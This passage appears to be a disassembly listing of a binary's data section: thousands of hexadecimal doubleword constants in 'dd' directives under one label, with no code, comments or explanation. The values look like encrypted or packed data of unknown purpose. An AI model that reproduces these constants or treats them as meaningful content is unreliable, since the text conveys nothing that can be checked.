		dd 0A6235E68h, 0AE11B7E0h, 0BD7E2471h, 0E7CC1409h, 9A93D0DEh
		dd 722F2D71h, 0E95BD8D6h, 1AAD976Ch, 0D87EB3D2h, 0B1510A0Ch
		dd 0C661517h, 0B78FE95Bh, 0B21FF7EDh, 29D3B34Eh, 0F8770CBEh
		dd 4C0BB8DFh, 840BC224h, 560B5349h, 151DDD80h, 0C7F83D2Eh
		dd 7CC68B95h, 35C007A5h, 5FC3DEF6h, 5E014F5Ah, 381461E0h
		dd 437522E9h, 71A2716Eh, 5F396ECAh, 0B7D002F8h,	7F336B46h
		dd 0F4C2117Ah, 0D22728A9h, 7089ADD6h, 0A1B3C44Dh, 5900D95Bh
		dd 0A1A2F6B5h, 8959EAAh, 0FE017BECh, 4E2C0CAh, 1136770h
		dd 505AD708h, 60F638B0h, 7FB2713h, 8D0F8279h, 25BB000Bh
		dd 6E179E3Bh, 0B4F25C31h, 965D5B24h, 0F22B0B58h, 0E94AA481h
		dd 0C096579Bh, 1875C88h, 0B7081999h, 0B3E02F4Fh, 94AE9FBAh
		dd 0ECAB79F4h, 0D10B0C10h, 1BF6B82Dh, 29B34942h, 86B9AC58h
		dd 0D66E2B25h, 25E9F06Ah, 7FF19B55h, 0A82BCCB5h, 84FA4816h
		dd 10579D6h, 9531F0DDh,	57ACF891h, 99FB08h, 26F6CD81h
		dd 72C1306Bh, 2E6566B1h, 3011B12Ah, 502EA55Bh, 0E813A164h
		dd 259C7508h, 845A7076h, 0F8E8F195h, 25608410h,	0C032C247h
		dd 7E799CE6h, 0B4050586h, 0A8082771h, 2F07419Fh, 524C87B1h
		dd 0BE7A2805h, 51F38087h, 611902B9h, 3DE92A64h,	4C2596FEh
		dd 6166B5B7h, 0E21D88FAh, 0D41FD2F6h, 0E9E69C3Bh, 5F3383AFh
		dd 0ED01331h, 4102066h,	0F054E2Eh, 3E10DDBEh, 0B11D7B81h
		dd 7D8193BBh, 5F79F220h, 6AC02121h, 32956DC0h, 0C76608Bh
		dd 72A370DCh, 2D5CBE80h, 9F410C71h, 25A128F2h, 0A9B59A5Ah
		dd 88BA7402h, 5B13D64Dh
dword_4EC14C	dd 0B05C462Ch, 8C4B5E00h, 75398E0Fh, 0CC05F05h,	672CEE38h
		dd 22A89742h, 7459B7E8h, 6DC35EC9h, 0BBB94485h,	6EA60B31h
		dd 20AB2D0Bh, 34D0F39Ch, 4F2F7B72h, 0EDA641E0h,	606D0F22h
		dd 5167169Fh, 67452F3h,	185F1DECh, 3118D0E8h, 8C428B5h
		dd 35F81C30h, 0FF400BC1h, 0AC7E5932h, 1A29EBC2h, 542F73F9h
		dd 0D31709BAh, 0C79F276Eh, 2F29A0EFh, 2C5C483Eh, 0C22F5D2h
		dd 68018D49h, 8C2A1E2Fh, 64BA28A0h, 2E86B53Bh, 0FCCBFFE8h
		dd 98950CB9h, 47411E3Dh, 91B1F9E8h, 530E03BFh, 1DB6AF6h
		dd 9F79C8ACh, 0DCEC9341h, 4D34B64Ah, 3CC2EDCBh,	0C8BA027Ch
		dd 0C0374860h, 4502BA6h, 9E91739h, 708EBECFh, 0B72CEE40h
		dd 0FE494853h, 0A282C9E5h, 0FF594EC3h, 25BD2888h, 5D17C356h
		dd 4BFE7AC1h, 453C73BBh, 0CB60ED51h, 9989B76Bh,	6858EB54h
		dd 0F37E4E73h, 5B983DDCh, 7B42FC89h, 3BE0D186h,	0EB56292h
		dd 0A272D228h, 0A5F30FA9h, 7238C903h, 0EC92F46h, 71EE9048h
		dd 0DCF2B1CDh, 4FA2227Fh, 715D095Fh, 20AA8833h,	0E94E3C93h
		dd 0AD1D50E4h, 62D5CB57h, 90814264h, 0FAF154C1h, 60083638h
		dd 5EF17F78h, 5300F901h, 352E7DBBh, 69E7E903h, 0BA5C20A1h
		dd 27149320h, 5CC3821h,	3E600BCEh, 0EB07B5ACh, 0CEDFFFE2h
		dd 0E135CFBDh, 0ADB515B3h, 103EE64Bh, 281D49C1h, 53F7C9F8h
		dd 12F2A9C8h, 31CBDA05h, 0D2BE5FFDh, 92A7844Ah,	0E2D8C5ADh
		dd 0A9E982FBh, 205A72BCh, 0B1989DD0h, 2CAC69C3h, 0F948933Eh
		dd 2B925780h, 1985BF30h, 2D53CFAh, 6C60E97Dh, 4E46C29Fh
		dd 7C1B76BBh, 4FAFECF2h, 9FC7D727h, 2B491D80h, 9441A2E9h
		dd 0F47A9641h, 79E05B02h, 6B750393h, 2E08EFB4h,	250E268Eh
		dd 0FED1E05Ch, 88259C48h, 5316352Dh, 23F2201Bh,	291D0E7Eh
		dd 0B2C04E7Dh, 89B806EAh, 46E2C74Fh, 27B4F7C0h,	31516DE2h
		dd 28CAFDC1h, 4DB1D1ADh, 5905D65Fh, 0AD44D515h,	0B30648E0h
		dd 855A40CEh, 7155C949h, 0C0501D78h, 33CBF57h, 0E91044CBh
		dd 800E8F58h, 0F567CAC5h, 95ED63FBh, 48EA60F2h,	329CB17Ch
		dd 296B4282h, 0C04327Ch, 0F98DAA5Fh, 6889230h, 2D0AFA7Ah
		dd 0E9170B84h, 734FDA2Ah, 609AE6DEh, 485F0EF4h,	0AF215D0Dh
		dd 0E4DB2D1Eh, 0E9137EEFh, 5E419AF3h, 77711983h, 827C2420h
		dd 5E37A95Dh, 3245A51Eh, 89BED12Fh, 0B184F1F6h,	2A9DFBD9h
		dd 86E4DDCAh, 5AA53B54h, 639242ECh, 0D830AC16h,	6885D0A9h
		dd 6F31AA5Ch, 36301BB5h, 0A6714C81h, 1587B0B5h,	1766EE40h
		dd 877C6A05h, 0E2D76CEh, 0BA1F527Ch, 6F2406D0h,	0D370170Fh
		dd 58BB1FBBh, 15E2164Ah, 36210362h, 0FCE05D13h,	80975CE9h
		dd 0E5EF80C9h, 0FED71BF6h, 23F108CFh, 39883AD5h, 0C36544D6h
		dd 9A73DE09h, 0A0257E7Dh, 0C5E92C08h, 0C4BA8129h, 2A13BB59h
		dd 0BC6168B5h, 3F8F6DADh, 72EF7D05h, 17032479h,	0E31C4E5Eh
		dd 10CA9735h, 705BE91Ch, 4BDEF64Fh, 964AAC3Dh, 0D0E863A1h
		dd 8B5EBBD3h, 98459116h, 5C982BDCh, 5A53C91Ch, 0EB12D9FEh
		dd 0C3806B80h, 0AA06C56Bh, 284BBB59h, 61A942E6h, 8C2FA44Dh
		dd 0BC4ABB49h, 0A53369BFh, 6257DCCBh, 0CC5D471Ah, 2FF22406h
		dd 9B6BC704h, 0A2B24BF3h, 0D82102B5h, 0A5641F7h, 5424092Bh
		dd 568B3D79h, 0CB2E6658h, 8C303820h, 91B5A963h,	0BB205BD0h
		dd 907C9C77h, 0E3C00B46h, 29148506h, 0F304ADF0h, 0DBC5C73Bh
		dd 0D9D887E1h, 0CB827AD7h, 71948684h, 31E4A006h, 145C824Ah
		dd 0CAB2D03Ch, 0A7B2775Eh, 0FAF09C84h, 9D546E44h, 0D23968B2h
		dd 0C0809AD4h, 6ACA2597h, 35055D2Dh, 38CE2619h,	42420EFh
		dd 0BC09A5F8h, 0D26CA0E9h, 412C05ACh, 85896392h, 68938052h
		dd 734F1101h, 82DEB2F0h, 0A744075h, 0E94F1329h,	0B856BF6Ch
		dd 91C93E84h, 8968A488h, 44339C20h, 0EAC829D7h,	5DC5E9B6h
		dd 0A8C21BF4h, 9F2057B2h, 1362CFD1h, 1820294Ch,	4AB05DB6h
		dd 6500599Fh, 0EA1EC6EBh, 0CCEA6FD2h, 0D9276862h, 0B0C7A478h
		dd 0DCF48007h, 0D4814506h, 443A53F9h, 81F7F9FDh, 0C60DFEh
		dd 0C917E268h, 1D615543h, 0D357EA89h, 0D9E96205h, 3F4EB569h
		dd 0EF304CD7h, 1EE60C90h, 415EF721h, 0AC1A32C7h, 0BB0C8273h
		dd 0F71C4469h, 0F69BD1CBh, 0C0CD33BBh, 10047C28h, 4EA47895h
		dd 5CFADC55h, 9650534Fh, 687A10BFh, 0AFE18101h,	0EC762D31h
		dd 449FC17Eh, 0C4502486h, 9361583Ah, 1220BD80h,	0FC1FEE7Ah
		dd 256D486Bh, 8826596Bh, 0E032733Ah, 943B6006h,	0E11E501Ch
		dd 51766210h, 5407FE57h, 59D02F65h, 3D3281BAh, 4025720Eh
		dd 2E5F0541h, 9ED44F4h,	37D319CEh, 30B84900h, 18C04FAAh
		dd 0EFFB7C96h, 0B325EE9h, 0B9D6AD18h, 28B74649h, 5E815A5Ch
		dd 0E1628C38h, 0C4E8C24Ch, 0F4B25C76h, 0ED685701h, 3A6F7C6Ch
		dd 0B7EE2444h, 0D6EB1D1Ch, 0B9A856D8h, 0A5DD8F13h, 0CCB545AEh
		dd 41C37E24h, 0F63830C9h, 0F01292Fh, 534E0F8Fh,	68E9F4A0h
		dd 0FF618Ah, 79D30BACh,	0F8A2F701h, 575E0802h, 43F95355h
		dd 6D0B28E9h, 8031E580h, 0B4508D42h, 51661818h,	0F728EC88h
		dd 44D28582h, 37336300h, 4812CE2h, 0CA6ED7E3h, 0BA97FE24h
		dd 0D847A090h, 66E9254Eh, 0C3F00E89h, 4DD37832h, 0D0F2A42h
		dd 60CDB569h, 6316AD1Ch, 0F1B13DC2h, 0FAE90700h, 0DC53B770h
		dd 0D61194BDh, 0B482F24h, 532B74B6h, 3BC1AAF1h,	580444A3h
		dd 0EA3A0468h, 0DC807265h, 0B95063Fh, 6319E971h, 0D1A70D65h
		dd 0DA56A776h, 8940EC16h, 0CC793805h, 7E5D4C2Ch, 4E71860Bh
		dd 0F500D8FCh, 6820633Ch, 317E4E0Dh, 3DE6BF51h,	32CE0771h
		dd 0E0B26828h, 7E2B7251h, 6FB02F1Ch, 28CD1940h,	2C6AC841h
		dd 0FD0AB641h, 0E85AF588h, 0EF06CB19h, 0BD64EBC1h, 81A849E9h
		dd 80E8C04Ah, 511D34F6h, 0F59749B5h, 0FEF4A804h, 0D3B815Fh
		dd 0FB296348h, 8A65BCE9h, 85E089ADh, 5793C2CBh,	76960545h
		dd 0DD314641h, 0B47E215Bh, 0A3FC5713h, 5843859Dh, 0BAA409BCh
		dd 0E909DD8Ah, 3D949FB7h, 9FAD5B5Ah, 0AA124A89h, 0EC4ECBAh
		dd 552B5097h, 6F78EF97h, 0FE056A4Ch, 1D659921h,	86187AF6h
		dd 6C4B0C7Ah, 50056202h, 47AB7BE9h, 2713BF0Ah, 0C568EEB0h
		dd 38588104h, 50B5CE3Dh, 0C6DCC25Ah, 7B43217Ch,	68C50BE6h
		dd 34FD1703h, 85E913B3h, 5E97EDB6h, 0B506F986h,	0B038FE40h
		dd 0C69B330h, 64E27442h, 0AB4E2826h, 5B29D78Ch,	0F253A0D6h
		dd 71F35500h, 415CEB81h, 0C1251B89h, 22C84EE3h,	5E5E7A77h
		dd 0B8E41EB8h, 0C689139Ah, 4CB582D1h, 5805037Dh, 0FE75577Bh
		dd 80935D4h, 5AE87559h,	3D5FEF68h, 50676772h, 6031627Eh
		dd 0BDECEB68h, 3FE0DD80h, 10143958h, 7B509A2Eh,	0E8883DDAh
		dd 0C85BE627h, 3D2A5318h, 68598084h, 29095C2Ah,	5E01BE38h
		dd 5305A2B7h, 0FA754568h, 904C53CBh, 6354AE2Dh,	5ACB0B62h
		dd 0DDB6A69h, 0EDBB163Ch, 0CE4A7C1Fh, 0F2AB26C4h, 0F8F9CBFCh
		dd 0CC882F67h, 0A9F80FC3h, 18B7E530h, 0FCEE20FCh, 0CA681266h
		dd 1088E251h, 0E84EEA90h, 0E899B1DAh, 0B4669D97h, 0AB415F8Ch
		dd 19BCF47Ah, 31A9711Fh, 9084214Bh, 82E7BCCDh, 7FAE6840h
		dd 3F08545Dh, 4DD71507h, 0B29B6AA8h, 5AB2A03Fh,	5E37F42Dh
		dd 2071E195h, 0F2FF4246h, 255DB6E4h, 0CEFA4D76h, 517B25F8h
		dd 59A59F51h, 7E080964h, 0EECE4455h, 0C5B9819Fh, 0E819C538h
		dd 6B95835h, 0F768C08h,	0E076C531h, 0E4BC89BAh,	3DE78004h
		dd 0DA9E92C3h, 3BEA768Fh
		dd 2531A4A4h, 951894DFh, 5CC9B574h, 0B71307BCh,	82F704EDh
		dd 5D056111h, 13A312F4h, 1046855Ah, 6480612h, 1E656D10h
		dd 0C4E83388h, 0C59440FEh, 8E6AC183h, 0EFCE271Ch, 0C42B312h
		dd 51BDF878h, 2444AF0h,	1E7F0DAEh, 0F22266Eh, 48DA588Ah
		dd 0B92E4239h, 82EB0855h, 0EBBD5917h, 6170C810h, 0B9D2EEF8h
		dd 3C24070h, 144C5CCEh,	0EAF2CA01h, 0BA590884h,	0C926D3E2h
		dd 0D00EB8D3h, 893E5A66h, 0FC6DE1BEh, 8CBE5C92h, 34A8C6Eh
		dd 214A9FE7h, 6E401070h, 7384A031h, 1B03D607h, 0D3014C90h
		dd 68A8DF38h, 3334BFEh,	0B4E01B40h, 54F62F96h, 0E0051451h
		dd 210AC27Ch, 9B4962BAh, 723CCC00h, 5C03536h, 0E9284B0Eh
		dd 7F6EFCD6h, 0AD525B00h, 35E050Ch, 2E387F50h, 60825A3Eh
		dd 32BE5FA8h, 720F5B6h,	0D2FE9F4h, 2033CC52h, 5D5979D9h
		dd 8E2D7977h, 8E9F5168h, 0D30656E6h, 0E917121Fh, 20BF96A6h
		dd 0A7339C6Fh, 0D838357Eh, 0D7F0B25h, 152D85Ah,	0D119AB2Dh
		dd 68C32907h, 0B4B0B7A3h, 0FE2D7F6Ah, 7AE9100Bh, 0BBE38CEh
		dd 35150Dh, 0C707F13Dh,	82C0B71Dh, 0F582EE2Ah, 95171B8Eh
		dd 390881CAh, 0C8890159h, 9058C7C8h, 393FE7B8h,	20623B68h
		dd 698902CDh, 0D62F374h, 0C2D8763Fh, 655F01BDh,	0BEDC091Ah
		dd 0DEA83E13h, 0C3B59ACFh, 0E9D7982Ch, 0B8E44A0Ah, 1A0C9E6Eh
		dd 9EB319Dh, 344A7BC2h,	0E9F1107Fh, 2F6CB680h, 0ACEF4B5Ch
		dd 3BB2D1E2h, 6AA580A8h, 86039B68h, 0C569EA77h,	0EC8A0408h
		dd 43CD6802h, 2375C757h, 13CB9082h, 76C95670h, 0DF251341h
		dd 58E70800h, 30CC18B0h, 0C48A9228h, 1671EC99h,	1F0780E0h
		dd 0BDF26C3h, 8ED1F838h, 2503DA88h, 0C3851C62h,	0A2F5B484h
		dd 5CBCB292h, 0E915195Bh, 3A5F115Dh, 0AD36D32h,	3E3408DCh
		dd 60ACC425h, 0EAC0132Bh, 0BFE68003h, 5AD58818h, 0A82EF1CAh
		dd 95A5F816h, 68123CBCh, 289241A4h, 1FF22560h, 0D956EDEEh
		dd 99C8CC13h, 174B84D3h, 0A46C8610h, 0CABB0B94h, 7258170Fh
		dd 6098C3B4h, 7C2414Fh,	6E5E523Bh, 673BF4BCh, 0AB601125h
		dd 0CD2222D0h, 35029D2Eh, 7EC0C36Eh, 730EABF3h,	6BE948E3h
		dd 419C7794h, 26B3294Dh, 3142635Eh, 847488FCh, 54E7770Bh
		dd 60E22E3Dh, 590F9B2Dh, 28805F58h, 46950705h, 0DD39FADh
		dd 4889FB15h, 0E749104Eh, 1F073500h, 852D4169h,	0EF1BC417h
		dd 184304BFh, 0F6158882h, 0D22BCD48h, 0ABD8C2AAh, 7E64AB49h
		dd 3D2E4104h, 63840F01h, 0FB0CA741h, 56C4391Ch,	2565BE00h
		dd 0E955668Ah, 0C85A5E47h, 0A4A051B9h, 4A251C92h, 5D047F7Ah
		dd 16D93B1h, 921F9E10h,	0DD50525h, 57F5F96Fh, 0D2455DFEh
		dd 9BF273Eh, 17E57D11h,	0CC89F549h, 5E879A55h, 4FD4577h
		dd 13D07CA0h, 0E004F5A8h, 0FF54F9ECh, 0BA3C85h,	1053C33Bh
		dd 85D855B1h, 80CB9936h, 0AF952368h, 5880CA5Fh,	0F0B25893h
		dd 27476882h, 0B85D18F7h, 101914E4h, 0EF799F53h, 4BBE9B7Fh
		dd 45C74EBh, 77E66EAh, 5B72D589h, 0E3DE5463h, 0A57B6FA7h
		dd 0E7517340h, 0F14E82B0h, 9EB05A52h, 0A6FCE9B7h, 825304EAh
		dd 6E74AA36h, 7F326072h, 9FB117A9h, 0FE7F1621h,	3C0B4461h
		dd 0B065607h, 6324547Bh, 694F4796h, 22AF51BCh, 9119A398h
		dd 0B07E6451h, 7705F263h, 26E9179Ch, 0A2B85ED0h, 16EE0D23h
		dd 0FD0BA3BAh, 5FE45065h, 88C08152h, 3ADC283Eh,	5B4CFE5Eh
		dd 9360B25Ch, 0D9462DAFh, 4ABD0CC5h, 41C4498Ch,	5625667Ch
		dd 0D290F209h, 0DBB7D9A4h, 0B663885Fh, 512D6806h, 97B5F015h
		dd 3891C1D1h, 40ECB84Eh, 0EB5EC593h, 0AA5E378Ch, 0FA908595h
		dd 0C72944D0h, 0F22EE581h, 6C325DCh, 0BF44614h,	296D2D31h
		dd 6C40BBFCh, 24DC5D4Fh, 103CE09h, 0D07894C6h, 1A3A3CA7h
		dd 0C099970Fh, 0F0055A08h, 4C1C273Bh, 7094F42h,	80D85B07h
		dd 7290027Bh, 6CBFF498h, 78FA9FA5h, 30F0012Fh, 9C29CBE7h
		dd 1EDCCBB2h, 10577800h, 0C772F581h, 0F93FE90Dh, 6EDE4A11h
		dd 0D55B6FA3h, 0EDFC8290h, 946869h, 1EAEEF81h, 0C91FC4E8h
		dd 0FFD2A2FCh, 0AA407AB0h, 62AE2F68h, 0D0C0A899h, 49413D2h
		dd 0BDEDBB04h, 0A1032282h, 47AA68E9h, 0C94AB72Fh, 0F2B78652h
		dd 0F8335233h, 0EAF53512h, 0B3B52CDh, 7B8429CBh, 0E420A852h
		dd 261DB5A4h, 0C16E344h, 0DACFDE38h, 4F40B0B7h,	0EB80803Ah
		dd 0B6520C0Bh, 0C187FD8Ah, 0F3099EEEh, 79130EF0h, 60BEC328h
		dd 5190686Eh, 0C6F0DFA6h, 35933F5h, 7506E4B9h, 21BBC438h
		dd 2EA48E7h, 2F8E164h, 4E6D1070h, 58D2134h, 90393B3Ah
		dd 0C368E189h, 114C65Fh, 40DC5588h, 51EE5CE9h, 686F85A3h
		dd 5FA5C4E2h, 127A7114h, 3042B54h, 0DA7CF66Eh, 84B141B3h
		dd 41F73CCh, 1BFB738Bh,	55C948E8h, 1400BB09h, 0B8E95D64h
		dd 9F409D5Bh, 7A04E181h, 286C7DBAh, 0B383C4Ah, 2C6052FAh
		dd 688D85D5h, 5CE42585h, 92C19981h, 19FE257h, 2004D0F6h
		dd 923AC228h, 664A4187h, 4AB89657h, 7640B25Ah, 71432B97h
		dd 0E7350ABBh, 70E30348h, 0F4272EB3h, 14F40EA1h, 0C2C0AA01h
		dd 0A2064A41h, 18497D3Ah, 8C108EB8h, 670780B4h,	80B72A80h
		dd 8DC579Ah, 0DB1816D8h, 9308C492h, 8640068Ah, 0BE363120h
		dd 14F3808h, 23018D96h,	0CA5001E8h, 90C87E01h, 8B10F321h
		dd 3C82184Bh, 0CE18D750h, 18108108h, 0D20A9E0h,	0BA08C6FBh
		dd 5D201828h, 276D31B8h, 9852C210h, 7E191708h, 6135807Bh
		dd 0A7DA10C6h, 58673108h, 15F9118h, 0C5016ABCh,	3F088CE6h
		dd 63D02029h, 0AA95086Dh, 0A6911818h, 80D95408h, 581C99Fh
		dd 552818F7h, 90D60850h, 0C6A0E580h, 896A520h, 91887B33h
		dd 0C4081026h, 869F1020h, 2894A418h, 8C6784Dh, 20189AFBh
		dd 0A23193D2h, 4D88108Bh, 1DA088Dh, 75319839h, 0A95E3971h
		dd 4C012CD0h, 6DF80190h, 888CF301h, 0CFD1518h, 0E710695Eh
		dd 630C7440h, 6B94087Fh, 88671810h, 103D2018h, 6480E7D5h
		dd 0AA08008h, 97D308C4h, 2063F706h, 205F7820h, 0BE209980h
		dd 623A3137h, 9915B008h, 77396451h, 63F00888h, 7FE13619h
		dd 0A3938C52h, 18F0529Ch, 8FC6110h, 4B80677Ch, 73ED80EBh
		dd 0F9956981h, 0CA198C8Fh, 0B8AF085Dh, 51763291h, 821F0298h
		dd 10024E03h, 10E35318h, 1E24DA37h, 6BF18860h, 280C770Ch
		dd 0D89D405Bh, 0D104F67h, 66FB081Ch, 2069C96Dh,	31252120h
		dd 1810AF41h, 0D99990BEh, 10933A10h, 0C473751Ah, 69F82F1h
		dd 49109462h, 7832C0EBh, 64481379h, 18C48702h, 96068947h
		dd 8B201055h, 176320C4h, 20A6C620h, 0C325D68h, 2E9E1BBh
		dd 5003FD0Dh, 7D3920D4h, 20D37720h, 0F25472C7h,	84A880FCh
		dd 0D8A94C96h, 5228258Fh, 0B4A32120h, 81009BEh,	0DA102351h
		dd 48F81022h, 10912810h, 0A0154702h, 5520F0DFh,	0AEF83354h
		dd 0CE20009Ah, 56742091h, 71515C20h, 0E68581E0h, 88F81869h
		dd 84BEE08h, 8E08D845h,	5C5E1263h, 209CEA94h, 0D9203B33h
		dd 298D20E4h, 0FC9C6009h, 5FA491E8h, 4D3D6970h,	0FA596347h
		dd 10445519h, 752CF03Bh, 13EB020Ch, 6FB90E89h, 5403DA7h
		dd 408F4401h, 0C90B4902h, 0C38BF775h, 0DE408FC7h, 0BCB9F003h
		dd 0C0338FC3h, 4FB10F01h, 0AC2C9330h, 2DC94FEDh, 7A346E44h
		dd 0C5BF3C30h, 5A31EE05h, 0ED63AC16h, 5C685300h, 5B2B5669h
		dd 2A2508FEh, 60197501h, 673F05Ch, 575918C5h, 7409483h
		dd 0E7C15E61h, 476E9207h
		dd 1176C575h, 9FE90D5Bh, 0A26B129Ch, 101CBA1h, 40BE68C1h
		dd 37AE4E54h, 0A0DF69D4h, 4068A415h, 0EA012E69h, 3F2E8435h
		dd 7040EF67h, 8BCAE4F1h, 5BE2BAA6h, 5F9ADA5Dh, 0C9E9864Fh
		dd 256252DDh, 10DE4CC3h, 25AC5ACBh, 0A756C50Fh,	0E46066EFh
		dd 0D4D4970Ah, 0E4A80450h, 0F7E91780h, 8523215Ch, 0B20C8E7Bh
		dd 5CD40FCDh, 2858E300h, 0CEB80CBh, 829CE994h, 0EF0B8887h
		dd 9B212C68h, 0E0F9D3B7h, 632EE9CAh, 0F0341896h, 444B01B9h
		dd 0D331A8CCh, 0E22DD8ECh, 0EC803A00h, 660F5A76h, 0A4DFB450h
		dd 40FA1336h, 3E772FC5h, 0E8975814h, 7D92E9D1h,	0EF58BFF4h
		dd 0ECD51CB5h, 4E420BF7h, 0E07E7383h, 0B60FC440h, 11E89F52h
		dd 1801B8C3h, 0E95602E8h, 0E187D4B4h, 93D08850h, 0BC270D59h
		dd 67FB55h, 604D113Bh, 0D74BFAE9h, 0B7C4D9A8h, 680F909Dh
		dd 98B5773Fh, 7A03DBBBh, 0A0F74B1Bh, 0BE8047B8h, 17261932h
		dd 1C41435h, 0F1C15B66h, 0B7AB1CE4h, 0C01C11D9h, 0FD7FF60Bh
		dd 8AA19216h, 11012E3Bh, 52509EB3h, 0C9AA71E4h,	15D71CA1h
		dd 0C18B3BFBh, 0ABD45102h, 0EAE959C0h, 0A430D716h, 7D2D685Ah
		dd 0BCCD512Fh, 433909FCh, 7309E921h, 31126C72h,	0CE16C22Ah
		dd 709EBEF0h, 0D67E95EBh, 0C0E5566Bh, 2EDF02AEh, 0B8505B00h
		dd 25D119C5h, 5DBE0456h, 0AF4A731Bh, 222DEC0Fh,	7DAC7EFBh
		dd 0C25537E2h, 4E6DF0Bh, 0A8E9533Fh, 0C4A0E240h, 49257E30h
		dd 89257C69h, 52685AD6h, 51951854h, 5E05BC7Fh, 0E8011B66h
		dd 5F0FB67Dh, 0E512C7E9h, 93EA0428h, 7C271455h,	0FEE8224Fh
		dd 0D7BA43E6h, 0DA126E06h, 1969296Fh, 0B3555DE9h, 9F34ECEBh
		dd 8D962D7Ah, 41EDE978h, 0AE3082F6h, 7E0F5E7Eh,	82541648h
		dd 807D43C4h, 422AC61Bh, 26FBFA1Bh, 406C010Ah, 67136856h
		dd 5E1D4A71h, 47C5CE81h, 64B83CA2h, 0E0F9922Dh,	0FC67A7BBh
		dd 2450D37Bh, 0DC824084h, 3CD0EABh, 0E475F176h,	0FFB6936Ah
		dd 8824528h, 0B05AB7DCh, 701EE94Eh, 0E67BE156h,	0CE502554h
		dd 32AA2DE0h, 0EE0EB7D2h, 0D8573355h, 1A44F8A9h, 8C5D1CBDh
		dd 47770709h, 1508E6Ah,	0D196DA34h, 361EF96h, 3281DCB2h
		dd 0F9041FB9h, 7E497947h, 0EA9D4F81h, 9F38E0DDh, 0E33145C4h
		dd 640F046Bh, 0FBC7696Fh, 4884814h, 20451E9Fh, 4E34CB2Bh
		dd 0E5C9D9DCh, 692228FBh, 1B770AAFh, 0D32BD952h, 7BD7F701h
		dd 7AF17EC0h, 0B0317899h, 0ACDA3603h, 0F9908E37h, 0FC3AEC41h
		dd 0F3ABF475h, 32EB93EFh, 0D155FBD9h, 23DF6B98h, 182ACED2h
		dd 633878B7h, 417FDBC3h, 4EB51C4Bh, 0C3E90802h,	0F3271E02h
		dd 37B5C15Fh, 4D4A6668h, 2144E08Ch, 8D2FBF2Ah, 40DEBD0Fh
		dd 204FE6D0h, 13E91A8Dh, 0D17634D8h, 395EB820h,	0DCD0E5B2h
		dd 0CDB922Fh, 0BDCF123Dh, 0E05B1F4h, 18A468F5h,	3B034EA0h
		dd 62B55E71h, 50B1FDCFh, 366EACCh, 0EE01B0A0h, 4D095880h
		dd 2DC034D8h, 629B5916h, 2513E0EAh, 43BC153Ch, 6B78E85Ah
		dd 63AB4C2Ch, 0D5319725h, 0D2F7EA90h, 32AC04D3h, 0A40626h
		dd 1BBCCF9h, 1FA6F231h,	0D9B6432Fh, 80D7A5D1h, 20685C18h
		dd 3F3D9358h, 0FBE3DF97h, 0DDF8ED39h, 0BD017026h, 5FD683ABh
		dd 4A279AA6h, 0ECC1012Eh, 0EED86C75h, 4763131Eh, 446A546h
		dd 6143CC08h, 2D9CE24Bh, 18EA7D81h, 0DC3CB94Bh,	0B25869F1h
		dd 5EF21738h, 70ADE416h, 0A3389A84h, 6DBC4A37h,	1667FA7Ch
		dd 0E1D164h, 8B6BBD15h,	0D960F71Bh, 6C5558A8h, 0AEB5C205h
		dd 4877C19Ah, 8312BBDAh, 2FB0F5F3h, 514C578Dh, 37AA003Fh
		dd 0C1892203h, 0CD310758h, 0A82D59h, 0E82944D5h, 3F070551h
		dd 2D003FCAh, 3F476E64h, 29586B68h, 41E8D84Fh, 21AA2558h
		dd 0EE003CFEh, 870EA1E3h, 0B2F35E89h, 3D4DC5AAh, 0CFF54E89h
		dd 3372B900h, 4132281Eh, 67C7C981h, 6F210CE7h, 0C93F77E9h
		dd 26FCE011h, 0BDBE8192h, 0E6570345h, 4A420AE0h, 799AB19Fh
		dd 7E98846Ah, 25CF3CEAh, 658A5B18h, 304BDD32h, 0C00C304Dh
		dd 234DF70h, 81ADF01h, 6814010Ch, 0B1766C21h, 0A9469602h
		dd 0EAE3C164h, 607FE09Ah, 0B849DBEBh, 5DB981FFh, 3E2C092Ah
		dd 0B2682C60h, 0B6500B54h, 0EED00F03h, 9F7BCE80h, 0B0500150h
		dd 522C04B1h, 87303F34h, 8BF405C0h, 0E3281F5Ah,	95A668Eh
		dd 96673C3h, 1CDF1007h,	4A52FC6Dh, 5864BEFAh, 2B1021ABh
		dd 344B2EE5h, 0DA5F85EBh, 2BA818ABh, 0F99D575Bh, 0E6FF5A0Fh
		dd 69EE30D7h, 5B66F9B5h, 50D9F60Eh, 0B8C0ECB4h,	4FE43980h
		dd 5381F4B8h, 0B74EB551h, 0E9EFC011h, 3EF31635h, 0E84674AFh
		dd 0C1AB06Eh, 9DC9501h,	32E6E88Ch, 0C4359452h, 0B0E3BE5Ah
		dd 0A046EF97h, 316A091h, 217C26BBh, 35D84367h, 0ABB1014Ah
		dd 6A685200h, 4A3CD40Fh, 0E28AE45Ah, 990DB20Bh,	0FC4F8427h
		dd 737CF812h, 0EC0A896Eh, 55EE13D6h, 685FDCDh, 2CF130EFh
		dd 0B33F53F6h, 5BD913C6h, 492B1F2h, 0CE71EDh, 1425BF57h
		dd 59507B49h, 5C25B392h, 0AB030CFCh, 774FC0Eh, 0A211070Ch
		dd 5A5EC279h, 916017Eh,	0AB6065FFh, 63E90402h, 0B04ACCE3h
		dd 0BD335ECDh, 2ECD845Bh, 0F97BB7A3h, 0AEC2642Eh, 78F5FCF4h
		dd 3154972Eh, 0D639F153h, 5589E724h, 73207358h,	406512A5h
		dd 19B50327h, 9B2C361h,	2DD0F700h, 0F369000Ch, 7B1C0D4Eh
		dd 50119F5h, 0C416A1E6h, 0C87AC389h, 0DCB9C272h, 0BF67DD02h
		dd 38A5E13Eh, 0EA44C175h, 4798A01Eh, 1E04C3A9h,	1F0F77B0h
		dd 8A5275DEh, 0EC680951h, 587F543Eh, 3EA0C501h,	0F8835B7Fh
		dd 7AA6E3A7h, 407C4C3Dh, 0A9519770h, 0E298105Bh, 98EC5A2Fh
		dd 75C774B1h, 8B0B7BBDh, 0EC058607h, 0A7F30551h, 0FF3A0A6Fh
		dd 0CB14B406h, 0C100A3A3h, 0EC4D75C3h, 0F4D99728h, 0F4300159h
		dd 32312C8Dh, 1968D886h, 0DD25064Ah, 52A14300h,	9F316E36h
		dd 5CE8FF79h, 7FC83762h, 84F5698h, 0CAFC5C95h, 3AB542EBh
		dd 0BFEA14D7h, 2D810B60h, 0C00596C1h, 4F382726h, 2537410h
		dd 0A012EDBBh, 3F8B5A10h, 0FD512808h, 527C8B28h, 0E90B0C44h
		dd 9BAB2B68h, 2C817F7Ch, 5D405A69h, 9D23E0FCh, 0D4954FE6h
		dd 0B36885C8h, 9667A967h, 0CDBD62FEh, 5C277670h, 8E7F48D2h
